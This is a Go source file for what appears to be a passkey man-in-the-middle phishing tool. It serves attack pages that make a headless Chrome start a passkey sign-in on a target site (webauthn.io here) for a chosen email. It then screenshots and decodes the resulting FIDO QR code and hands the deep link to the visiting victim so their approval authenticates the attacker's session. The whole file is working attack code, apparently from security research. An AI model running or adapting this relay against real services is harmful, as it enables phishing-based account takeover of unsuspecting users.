package main

import (
	"context"
	"flag"
	"fmt"
	"html/template"
	"log"
	"net/http"
	"time"

	"github.com/Splinter0/passkey-mitm/utils"
	"github.com/chromedp/chromedp"
	"github.com/google/uuid"
)

type PasskeyAttack struct {
	Url                string                         // Main Url to visit
	Actions            []chromedp.Action              // Actions of the headless browser
	Path               string                         // Path to host attack on
	CustomBrowserFlags []chromedp.ExecAllocatorOption // Custom flags to pass to the headless browser
}

func PasskeyVisit(attack *PasskeyAttack, comm chan string) {
	opts := append(chromedp.DefaultExecAllocatorOptions[:],
		chromedp.Flag("headless", false),
		chromedp.Flag("incognito", true),
		chromedp.UserAgent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3830.0 Safari/537.36"),
	)
	opts = append(opts, attack.CustomBrowserFlags...)
	ctx, cancel := chromedp.NewExecAllocator(context.Background(), opts...)
	defer cancel()
	ctx, cancel = chromedp.NewContext(ctx)
	defer cancel()

	actions := append(
		[]chromedp.Action{
			chromedp.Navigate(attack.Url),
		},
		attack.Actions...,
	)

	err := chromedp.Run(ctx, actions...)
	if err != nil {
		log.Println(err)
	}

	passkeyId := uuid.New().String()
	chromedp.Run(
		ctx,
		// chromedp.Sleep(5*time.Second),
		chromedp.Evaluate(fmt.Sprintf(`document.title = "%s";`, passkeyId), nil),
		chromedp.Sleep(1*time.Second),
		chromedp.ActionFunc(func(ctx context.Context) error {
			utils.FindAndScreenshotWindow(passkeyId)
			fido := utils.DecodeQRCodeFromFile("/tmp/" + passkeyId + ".png")
			log.Println(fido)
			comm <- fido
			return nil
		}),
		chromedp.Sleep(5*time.Minute),
	)
}

var targetEmail string

func PasskeyAttacks() []PasskeyAttack {
	return []PasskeyAttack{
		{
			Url:  "https://webauthn.io/",
			Path: "/webauthn",
			Actions: []chromedp.Action{
				chromedp.WaitVisible(`/html/body/header/div/div/div/div/div[1]/div/section/form/div[1]/div[1]/input`, chromedp.BySearch),
				chromedp.SendKeys(`/html/body/header/div/div/div/div/div[1]/div/section/form/div[1]/div[1]/input`, targetEmail, chromedp.BySearch),
				chromedp.WaitVisible(`/html/body/header/div/div/div/div/div[1]/div/section/form/div[2]/div[2]/button`, chromedp.BySearch),
				chromedp.Click(`/html/body/header/div/div/div/div/div[1]/div/section/form/div[2]/div[2]/button`, chromedp.BySearch),
			},
		},
	}
}

func LaunchAttacks(passkeyAttacks []PasskeyAttack) {
	indexTmpl, err := template.ParseFiles("templates/index.html")
	if err != nil {
		log.Fatal("Could not load index template page", err)
		return
	}
	attackTmpl, err := template.ParseFiles("templates/redirect.html")
	if err != nil {
		log.Fatal("Could not load attack template page", err)
		return
	}
	// Handle passkeys attacks
	prefix := "/passkey"
	var passkeyUrls []string
	for _, a := range passkeyAttacks {
		attack := a
		url := prefix + attack.Path
		log.Println(url)
		passkeyUrls = append(passkeyUrls, url)

		// Upon visit run attack steps
		http.HandleFunc(url, func(w http.ResponseWriter, r *http.Request) {
			log.Printf("%s - %s", r.RemoteAddr, attack.Path)
			comm := make(chan string, 1)

			go PasskeyVisit(&attack, comm) // Run attack steps

			result := <-comm
			attackTmpl.Execute(w, struct {
				TagretLink string
				DeepLink   string
				AwayTime   int
			}{
				TagretLink: attack.Url,
				DeepLink:   result,
				AwayTime:   5000,
			})
		})
	}

	// Index page simply lists the attacks selected
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		indexTmpl.Execute(w, struct {
			PasskeyAttacks []string
		}{
			PasskeyAttacks: passkeyUrls,
		})
	})

	err = http.ListenAndServe("0.0.0.0:8000", nil)
	if err != nil {
		log.Fatal(err)
	}
}

func main() {
	targetEmailFlag := flag.String("email", "lol@doesnotexist.com", "Email account to target")
	flag.Parse()
	targetEmail = *targetEmailFlag
	LaunchAttacks(PasskeyAttacks())
}
